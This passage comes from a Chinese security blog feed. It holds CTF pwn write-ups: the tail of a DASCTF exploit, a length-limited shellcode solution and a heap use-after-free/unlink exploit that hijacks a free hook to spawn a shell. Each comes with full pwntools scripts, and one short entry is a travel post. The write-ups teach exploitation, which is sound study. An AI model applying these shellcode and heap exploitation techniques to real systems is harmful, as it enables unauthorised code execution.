gift.io = process(<span class="string">'./BaseMachine'</span>)</span><br><span class="line"> <span class="keyword">if</span> local_flag == <span class="string">"nodbg"</span>:</span><br><span class="line"> gift.remote = <span class="literal">True</span></span><br><span class="line">init_x64_context(gift.io, gift)</span><br><span class="line">libc = load_libc()</span><br><span class="line">gift.elf = ELF(<span class="string">'./BaseMachine'</span>)</span><br><span class="line">cmd = <span class="string">'''</span></span><br><span class="line"><span class="string"> c</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):</span><br><span class="line"> sla(<span class="string">"🫠🫠🫠"</span>, <span class="string">'plain b64 '</span> + <span class="built_in">str</span>(i))</span><br><span class="line"></span><br><span class="line">launch_gdb(cmd)</span><br><span class="line">sla(<span class="string">"🫠🫠🫠"</span>, <span class="string">b'plain b85 '</span> + <span class="string">b'aaaa'</span> * <span class="number">10</span> + <span class="string">b'a'</span>)</span><br><span class="line">ru(<span class="string">"😍😍😍 "</span>)</span><br><span class="line">data = ru(<span class="string">b'\n'</span>, drop=<span class="literal">True</span>)</span><br><span class="line">pad1 = data[<span class="number">0</span>:<span class="number">5</span>]</span><br><span class="line">pad2 = data[-<span class="number">5</span>:]</span><br><span class="line"></span><br><span class="line"><span class="comment"># Match found! String: 6eU, SHA-256: b8509ba8fe72a1a7755d30eb9f16d4337774beab47a9d59d51a659c8ea8ce888</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">8</span>):</span><br><span class="line"> sla(<span class="string">"🫠🫠🫠"</span>, <span class="string">b'b85 plain '</span> + <span class="string">b'09ba8fe72a1a7755d30eb9f16d4337774beab47a9d59d51a659c8ea8ce888aaaa'</span> + pad1 * i + pad2 + pad1 * (<span class="number">10</span> - i))</span><br><span class="line"></span><br><span class="line">sla(<span class="string">"🫠🫠🫠"</span>, <span class="string">b'plain b64 6eU'</span>)</span><br><span class="line">ru(<span class="string">"😍😍😍 "</span>)</span><br><span class="line">flag = ru(<span class="string">b'\n'</span>, drop=<span class="literal">True</span>)</span><br><span class="line">sla(<span class="string">"🫠🫠🫠"</span>, <span class="string">b'b64 plain '</span> + flag)</span><br><span class="line"></span><br><span class="line">ia()</span><br></pre></td></tr></tbody></table></figure><h1 id="总结">总结</h1><p>这题的作者可见对编码非常熟悉,目前我还没有对 base 系列有一个太清晰的了解。最多知道它大概的原理,或者仿写加解密的代码之类的。以后有空我会尝试手搓一下各种 base 的加解密的(之前接触 base 是 hgame-mini2024 上的一道逆向题 ——base emoji)。另外对代码的阅读能力也有待提升。</p>]]></content>
<summary type="html"><h1 id="前言">前言</h1>
<p>本次 DASCTF
12 月赛尝试了 pwn 方向的两道题目,最终还是如愿以偿的爆零了。首先看到题目我就有种陌生的感觉,给定程序是去掉调试符号的,并且有多个函数,大大降低了可读性,和我先前遇见的题目有不小的区别。</summary>
<category term="CTF" scheme="http://summ2.link/categories/CTF/"/>
<category term="pwn" scheme="http://summ2.link/tags/pwn/"/>
<category term="代码审计" scheme="http://summ2.link/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
<category term="函数指针" scheme="http://summ2.link/tags/%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88/"/>
</entry>
<entry>
<title>钱塘江边</title>
<link href="http://summ2.link/categories/%E6%97%A5%E5%B8%B8/20241106-daily/"/>
<id>http://summ2.link/categories/%E6%97%A5%E5%B8%B8/20241106-daily/</id>
<published>2024-11-05T16:00:00.000Z</published>
<updated>2024-11-05T16:00:00.000Z</updated>
<content type="html"><![CDATA[<blockquote><p>一叶舟轻,双桨鸿惊。水天清、影湛波平。鱼翻藻鉴,鹭点烟汀。过沙溪急,霜溪冷,月溪明。</p><p>重重似画,曲曲如屏。算当年,虚老严陵。君臣一梦,今古空名。但远山长,云山乱,晓山青。</p><p>——《行香子・过七里濑》 <span id="more"></span></p></blockquote><p><img src="/2024116-钱塘江边\IMG20241105171829.jpg"></p><p><img src="/2024116-钱塘江边\IMG20241105174504.jpg"></p><p><em>摄于 2024/11/5 17:18 沿江大道</em></p>]]></content>
<summary type="html"><blockquote>
<p>一叶舟轻,双桨鸿惊。水天清、影湛波平。鱼翻藻鉴,鹭点烟汀。过沙溪急,霜溪冷,月溪明。</p>
<p>重重似画,曲曲如屏。算当年,虚老严陵。君臣一梦,今古空名。但远山长,云山乱,晓山青。</p>
<p>——《行香子・过七里濑》</summary>
<category term="日常" scheme="http://summ2.link/categories/%E6%97%A5%E5%B8%B8/"/>
</entry>
<entry>
<title>shellcode - 有长度限制的 shellcode 解法</title>
<link href="http://summ2.link/categories/CTF/241103-shellcode/"/>
<id>http://summ2.link/categories/CTF/241103-shellcode/</id>
<published>2024-11-02T16:00:00.000Z</published>
<updated>2024-11-02T16:00:00.000Z</updated>
<content type="html"><![CDATA[<h1 id="shellcode">shellcode</h1><blockquote><p>shellcode 是一段用于利用软件漏洞而执行的代码,shellcode 为 16进制之机械码,以其经常让攻击者获得 shell 而得名。shellcode常常使用机器语言编写。 <span id="more"></span></p></blockquote><h1 id="程序分析">程序分析</h1><p>题目来源:<strong>第七届浙江省大学生网络与信息安全竞赛预赛</strong></p><figure><img src="/2024113-shellcode---有长度限制的shellcode解法\image-20241103161301251.png" alt="image-20241103161301251"><figcaption aria-hidden="true">image-20241103161301251</figcaption></figure><h2 id="checksec">checksec</h2><figure><img src="/2024113-shellcode---有长度限制的shellcode解法\image-20241103161656543.png" alt="保护全开"><figcaption aria-hidden="true">保护全开</figcaption></figure><h2 id="逆向分析">逆向分析</h2><figure><img src="/2024113-shellcode---有长度限制的shellcode解法\image-20241103161752048.png" alt="IDA伪代码"><figcaption aria-hidden="true">IDA 伪代码</figcaption></figure><p>程序的功能很直接,执行输入的一段 shellcode,但是有<strong>0xa</strong> 的长度限制。</p><p>并且存在 <code>memmem</code> 函数,检查输入的内容,使用 IDA 继续查看<code>unk_203D</code> 的内容,发现是出题人禁止了 <code>syscall</code>的机器码。</p><figure><img src="/2024113-shellcode---有长度限制的shellcode解法\image-20241103162203348.png" alt="syscall('0f')"><figcaption aria-hidden="true">syscall('0f')</figcaption></figure><h2 id="动态调试">动态调试</h2><p><img src="/2024113-shellcode---有长度限制的shellcode解法\image-20241103165250942.png"></p><p>在程序执行 shellcode 之后,观察寄存器和栈的情况。当时比赛时发现<code>r8</code> 中存有 <code>syscall</code>指令的地址,我的一个想法是控制寄存器 <code>rax</code>, <code>rdi</code>,<code>rsi</code>, <code>rdx</code> 执行系统调用 <code>read</code>。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">mov rsi,rax</span><br><span class="line">xor rax,rax</span><br><span class="line">xor rdi,rdi</span><br><span class="line">add rdx,0x50</span><br><span class="line">call r8</span><br></pre></td></tr></tbody></table></figure><p>不过这样的长度已经超出 0xa 的限制了。后面我又想了很久,想继续利用<code>r8</code> 跳转到某个 <code>main</code> 函数上的指令,调试发现从<code>r8</code> 到一个 <code>main</code>函数的地址需要减去三位十六进制数,也就是说操作数占据了 shellcode 中 0x4的长度了。哎,结果我就这样忽视了 <code>rsp</code> 上的<code><main+0132></code>,一直到比赛结束。</p><h1 id="攻击流程">攻击流程</h1><p><em>这里的思路是白夜学长提供的。</em></p><h2 id="调整传参寄存器控制程序流程">调整传参寄存器,控制程序流程</h2><p>ELF 中的 <code>read</code> 函数参数如下</p><p><img src="/2024113-shellcode---有长度限制的shellcode解法\image-20241103171307808.png"></p><p>栈中的数据如下</p><figure><img src="/2024113-shellcode---有长度限制的shellcode解法\image-20241103171530664.png" alt="由于程序中使用call rax执行shellcode,返回地址存在栈顶"><figcaption aria-hidden="true">由于程序中使用 callrax 执行 shellcode,返回地址存在栈顶</figcaption></figure><h3 id="第一段-shellcode">第一段 shellcode</h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">pop rdx; 返回地址出栈</span><br><span class="line">pop rdi; fd</span><br><span class="line">pop rsi; 将不需要的数据出栈</span><br><span class="line">pop rsi; *buf <- shellcode address</span><br><span class="line">sud rdx,0x41; 减去偏移,结果为 <main+00f1></span><br><span class="line">call rdx</span><br></pre></td></tr></tbody></table></figure><p>将程序跳转到 <code>main</code> 函数的 <code>call _read</code> 前:</p><p><img src="/2024113-shellcode---有长度限制的shellcode解法\image-20241103174318078.png"></p><h2 id="执行-shellcode">执行 shellcode</h2><p>没有了读入限制后,直接使用 pwntool 生成的 shellcode 即可。</p><h1 id="exploit">Exploit</h1><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">"debug"</span></span><br><span class="line">context.arch = <span class="string">"amd64"</span></span><br><span class="line">p = process(<span class="string">"./shellcode1"</span>)</span><br><span class="line"><span class="comment">#p = remote("139.155.126.78", "38681")</span></span><br><span class="line">shellcode = <span class="string">"""</span></span><br><span class="line"><span class="string">pop rdx;</span></span><br><span class="line"><span class="string">pop rdi;</span></span><br><span class="line"><span class="string">pop rsi;</span></span><br><span class="line"><span class="string">pop rsi;</span></span><br><span class="line"><span class="string">sub rdx, 0x41;</span></span><br><span class="line"><span class="string">call rdx;</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line">gdb.attach(p)</span><br><span class="line">p.sendafter(<span class="string">b"input"</span>, asm(shellcode))</span><br><span class="line">shellcode = <span class="string">"""</span></span><br><span class="line"><span class="string">nop;</span></span><br><span class="line"><span class="string">nop;</span></span><br><span class="line"><span class="string">nop;</span></span><br><span class="line"><span class="string">nop;</span></span><br><span class="line"><span class="string">nop;</span></span><br><span class="line"><span class="string">nop;</span></span><br><span class="line"><span class="string">nop;</span></span><br><span class="line"><span class="string">nop;</span></span><br><span class="line"><span class="string">nop;</span></span><br><span class="line"><span class="string">nop;</span></span><br><span class="line"><span class="string">"""</span> <span class="comment">#10个nop,因为下次执行的地址是在shellcode1的结尾(call rdx)</span></span><br><span class="line">shellcode += shellcraft.sh()</span><br><span class="line">p.send(asm(shellcode))</span><br><span class="line">p.interactive()</span><br></pre></td></tr></tbody></table></figure><h1 id="小结">小结</h1><p>这回的省赛属于是坐了四小时大牢了。每道题目或者是在现实实践中,自然是与之前遇到的情况会有不同。因此对程序动态运行中的各种状态应该敏锐一些,例如栈、寄存器,可能会有发现。</p>]]></content>
<summary type="html"><h1 id="shellcode">shellcode</h1>
<blockquote>
<p>shellcode 是一段用于利用软件漏洞而执行的代码,shellcode 为 16
进制之机械码,以其经常让攻击者获得 shell 而得名。shellcode
常常使用机器语言编写。</summary>
<category term="CTF" scheme="http://summ2.link/categories/CTF/"/>
<category term="pwn" scheme="http://summ2.link/tags/pwn/"/>
<category term="shellcode" scheme="http://summ2.link/tags/shellcode/"/>
</entry>
<entry>
<title>Heap1sEz - 堆漏洞的简单利用</title>
<link href="http://summ2.link/categories/CTF/heap1sEz/"/>
<id>http://summ2.link/categories/CTF/heap1sEz/</id>
<published>2024-10-06T16:00:00.000Z</published>
<updated>2024-10-06T16:00:00.000Z</updated>
<content type="html"><![CDATA[<h1 id="堆的内部结构">堆的内部结构</h1><blockquote><p>在程序的执行过程中,我们称由 malloc 申请的内存为 <code>chunk</code>。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。</p></blockquote><span id="more"></span><figure class="highlight c++"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> This struct declaration is misleading (but accurate and necessary).</span></span><br><span class="line"><span class="comment"> It declares a "view" into memory allowing access to necessary</span></span><br><span class="line"><span class="comment"> fields at known offsets from a given base. See explanation below.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">malloc_chunk</span> {</span><br><span class="line"></span><br><span class="line"> INTERNAL_SIZE_T prev_size; <span class="comment">/* Size of previous chunk (if free). */</span></span><br><span class="line"> INTERNAL_SIZE_T size; <span class="comment">/* Size in bytes, including overhead. */</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">struct</span> <span class="title class_">malloc_chunk</span>* fd; <span class="comment">/* double links -- used only if free. */</span></span><br><span class="line"> <span class="keyword">struct</span> <span class="title class_">malloc_chunk</span>* bk;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Only used for large blocks: pointer to next larger size. */</span></span><br><span class="line"> <span class="keyword">struct</span> <span class="title class_">malloc_chunk</span>* fd_nextsize; <span class="comment">/* double links -- used only if free. */</span></span><br><span class="line"> <span class="keyword">struct</span> <span class="title class_">malloc_chunk</span>* bk_nextsize;</span><br><span class="line">};</span><br></pre></td></tr></tbody></table></figure><p>关于堆的结构很重要的一点在于,其使用和 free状态下的结构一致,只是相应功能有区别。例如使用时 fd段用于存储数据,可以通过某些方法把不合法的数据写入一个 free chunk 的 fd中。</p><h1 id="程序分析">程序分析</h1><h2 id="checksec">checksec</h2><p><img src="/2024101-Heap1sEz---堆漏洞的简单利用/image-20241006122827910.png"></p><p>程序开启了 <strong>PIE</strong> 保护</p><h2 id="程序运行">程序运行</h2><p><img src="/2024101-Heap1sEz---堆漏洞的简单利用/image-20241006124624160.png"></p><h2 id="源码分析">源码分析</h2><p>程序主要由 <code>gift</code> , <code>add</code> , <code>edit</code> ,<code>show</code> , <code>delete</code> 几个函数构成。其中<code>gift</code> 函数直接让我们可以进行 <code>__free_hook</code>劫持。</p><figure class="highlight c++"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">gift</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"give me a hook\n"</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">scanf</span>(<span class="string">"%p"</span>, &hook) <= <span class="number">0</span>)</span><br><span class="line"> _exit(<span class="number">1</span>);</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>因此考虑通过 <code>__free_hook</code> 劫持执行<code>system('/bin/sh')</code> 得到 shell。</p><p>在 <code>delete</code>函数中给定内存块被释放,但是对应的指针没有被设置为 NULL,存在 Use AfterFree 漏洞。</p><figure class="highlight c++"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">delete</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="type">unsigned</span> <span class="type">int</span> index;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Index: "</span>);</span><br><span class="line"> <span class="built_in">scanf</span>(<span class="string">"%u"</span>, &index);</span><br><span class="line"> <span class="keyword">if</span> (index >= <span class="number">16</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"There are only 16 pages in this notebook.\n"</span>);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (notes[index] == <span class="literal">NULL</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Page not found.\n"</span>);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">free</span>(notes[index]); <span class="comment">//没有置空</span></span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h1 id="攻击流程">攻击流程</h1><h2 id="泄露程序基址">泄露程序基址</h2><p>由于程序打开了PIE,导致程序运行时加载基址不确定。但是由于程序中的偏移仍然不变,我们首先需要泄露程序中.text , .data 或者 .bss 中的地址来计算程序基址。这里选择<code>main_arena</code> 进行泄露,因为通过 Unsorted Bin的机制会很容易得到。</p><p>申请两个大小为 8 的 chunk,分别为 1、2, 然后释放后放入 UnsortedBin。这里 chunk1 的 fd 就会指向某个与 <code>main_arena</code>有关的地址。经过动态调试得知, 它指向<code>&main_arena - 0x08</code>。</p><p>不过目前我还不明白,为什么只有一个 chunk的时候无法泄露出地址,可能是只有一个 chunk 的时候只需要在<code>main_arena.bins</code> 中存储相关指针即可。</p><h2 id="泄露-libc-基址">泄露 libc 基址</h2><p>得到程序基址后,为了得到 <code>system</code> 函数的地址,还需要获得libc 基址。而程序中唯一可利用的输出函数位于 <code>show</code> 函数中</p><figure class="highlight c++"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">show</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="type">unsigned</span> <span class="type">int</span> index;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Index: "</span>);</span><br><span class="line"> <span class="built_in">scanf</span>(<span class="string">"%u"</span>, &index);</span><br><span class="line"> <span class="keyword">if</span> (index >= <span class="number">16</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"There are only 16 pages in this notebook.\n"</span>);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (notes[index] == <span class="literal">NULL</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Page not found.\n"</span>);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">puts</span>(notes[index]); <span class="comment">//可以利用</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>我们需要尝试将 <code>notes[index]</code> 修改为一个 got表中的值,例如 <code>read@got[plt]</code> 。</p><h2 id="利用-unlink-实现任意地址读写">利用 unlink 实现任意地址读写</h2><figure class="highlight c++"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">unlink_chunk</span> (mchunkptr p)</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">chunksize</span> (p) != <span class="built_in">prev_size</span> (<span class="built_in">next_chunk</span> (p)))</span><br><span class="line"> <span class="built_in">malloc_printerr</span> (<span class="string">"corrupted size vs. prev_size"</span>);</span><br><span class="line"></span><br><span class="line"> mchunkptr fd = p->fd; </span><br><span class="line"> mchunkptr bk = p->bk;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//if (__builtin_expect (fd->bk != p || bk->fd != p, 0))</span></span><br><span class="line"> <span class="comment">//malloc_printerr ("corrupted double-linked list");</span></span><br><span class="line"></span><br><span class="line"> fd->bk = bk;</span><br><span class="line"> bk->fd = fd;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><blockquote><ul><li>FD=P->fd = target addr - 0x18</li><li>BK=P->bk = expect value</li><li>FD->bk = BK,即 *(target addr- 0x18+ 0x18)=BK=expect value</li><li>BK->fd = FD,即 *(expect value +0x10) = FD = target addr-0x18</li></ul></blockquote><p>在 64 位程序里,chunk 每个字段占 8 个字节。</p><p>由于程序中存在 UAF 漏洞,只需要申请两个chunk,大小为 16(或者更大)。删除 chunk1 后<strong>编辑chunk1</strong> 覆盖 fd, bk 的值,随后删除 chunk2。此时会发生前向合并,执行unlink 相关代码。</p><p>不过这里在测试时发生了段错误,如下图:</p><p><img src="/2024101-Heap1sEz---堆漏洞的简单利用\image-20241007121038110.png"></p><p>后来发现是因为 got 表中<code><read@got[plt]+0x10></code> 的值被修改了,而这个位置恰好存储<code>__printf_chk</code>函数的地址,导致程序意外跳转到了一个不可执行的位置。所以尝试泄露其他 libc 函数的地址,并且在它后 0x10 处的函数不会在后面的攻击过程中执行。</p><figure><img src="/2024101-Heap1sEz---堆漏洞的简单利用\image-20241007173521197.png" alt=".got"><figcaption aria-hidden="true">.got</figcaption></figure><h2 id="执行-systembinsh">执行 <code>system('/bin/sh')</code></h2><h3 id="传参">传参</h3><p>观察 <code>__free_hook</code> 相关的代码,可以发现</p><figure class="highlight c++"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">delete</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"> <span class="built_in">free</span>(notes[index]);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">free</span><span class="params">(<span class="type">void</span> *mem)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> mchunkptr p; <span class="comment">/* chunk corresponding to mem */</span></span><br><span class="line"> INTERNAL_SIZE_T size; <span class="comment">/* its size */</span></span><br><span class="line"> mchunkptr nextchunk; <span class="comment">/* next contiguous chunk */</span></span><br><span class="line"> INTERNAL_SIZE_T nextsize; <span class="comment">/* its size */</span></span><br><span class="line"> <span class="type">int</span> nextinuse; <span class="comment">/* true if nextchunk is used */</span></span><br><span class="line"> INTERNAL_SIZE_T prevsize; <span class="comment">/* size of previous contiguous chunk */</span></span><br><span class="line"> mchunkptr bck; <span class="comment">/* misc temp for linking */</span></span><br><span class="line"> mchunkptr fwd; <span class="comment">/* misc temp for linking */</span></span><br><span class="line"> <span class="keyword">if</span> (__builtin_expect (hook != <span class="literal">NULL</span>, <span class="number">0</span>))</span><br><span class="line"> {</span><br><span class="line"> (*hook)(mem);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//...</span></span><br></pre></td></tr></tbody></table></figure><p>只需要将 <code>mem</code> 对应的位置修改为 <code>'/bin/sh'</code>即可,而使用程序中自带的 edit 功能就能实现。</p><h3 id="free_hook-劫持"><code>__free_hook</code> 劫持</h3><p>这题直接提供了后门函数 <code>gift</code> 用于修改<code>&hook</code> 上的值。</p><h1 id="exp">exp</h1><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">"debug"</span></span><br><span class="line">context.arch = <span class="string">"amd64"</span> </span><br><span class="line">libc = ELF(<span class="string">"./libc.so.6"</span>)</span><br><span class="line">p = process(<span class="string">"./vuln"</span>)</span><br><span class="line"><span class="comment">#p = remote("182.202.178.28",31639)</span></span><br><span class="line"><span class="comment">#gdb.attach(p)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">index,size</span>):</span><br><span class="line"> p.sendline(<span class="string">b"1"</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">"Index:"</span>,<span class="built_in">str</span>(index))</span><br><span class="line"> p.sendlineafter(<span class="string">"Size: "</span>,<span class="built_in">str</span>(size))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">dele</span>(<span class="params">index</span>):</span><br><span class="line"> p.sendline(<span class="string">b"2"</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">"Index:"</span>,<span class="built_in">str</span>(index))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">index,content</span>):</span><br><span class="line"> p.sendline(<span class="string">b"3"</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">"Index:"</span>,<span class="built_in">str</span>(index)) </span><br><span class="line"> p.sendlineafter(<span class="string">"Content: "</span>,content)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">index</span>):</span><br><span class="line"> p.sendline(<span class="string">b"4"</span>)</span><br><span class="line"> p.sendlineafter(<span class="string">"Index:"</span>,<span class="built_in">str</span>(index))</span><br><span class="line">add(<span class="number">2</span>,<span class="number">8</span>)</span><br><span class="line">add(<span class="number">3</span>,<span class="number">8</span>)</span><br><span class="line">dele(<span class="number">2</span>)</span><br><span class="line">dele(<span class="number">3</span>)</span><br><span class="line">show(<span class="number">2</span>)</span><br><span class="line">bss_addr = u64(p.recvuntil(<span class="string">'\x0a\x77\x65'</span>,drop=<span class="literal">True</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>))</span><br><span class="line">elfbase = bss_addr + <span class="number">0x8</span> - <span class="number">0x3810</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">"bss:"</span>,<span class="built_in">hex</span>(bss_addr))</span><br><span class="line">note = elfbase + <span class="number">0x3880</span></span><br><span class="line">puts = elfbase + <span class="number">0x3768</span></span><br><span class="line">add(<span class="number">0</span>,<span class="number">16</span>)</span><br><span class="line">add(<span class="number">1</span>,<span class="number">16</span>)</span><br><span class="line">dele(<span class="number">0</span>)</span><br><span class="line">edit(<span class="number">0</span>,p64(note-<span class="number">0x18</span>)+p64(puts))</span><br><span class="line">dele(<span class="number">1</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">puts_addr = u64(p.recvuntil(<span class="string">'\x0a\x77\x65'</span>,drop=<span class="literal">True</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b'\x00'</span>))</span><br><span class="line">libc_base = puts_addr - libc.sym[<span class="string">"puts"</span>]</span><br><span class="line">sys_addr = libc_base + libc.sym[<span class="string">"system"</span>]</span><br><span class="line">add(<span class="number">6</span>,<span class="number">8</span>)</span><br><span class="line">edit(<span class="number">6</span>,<span class="string">b"/bin/sh"</span>)</span><br><span class="line">p.sendline(<span class="string">b"6"</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b"give me a hook\n"</span>,<span class="built_in">hex</span>(sys_addr))</span><br><span class="line">dele(<span class="number">6</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></tbody></table></figure>]]></content>
<summary type="html"><h1 id="堆的内部结构">堆的内部结构</h1>
<blockquote>
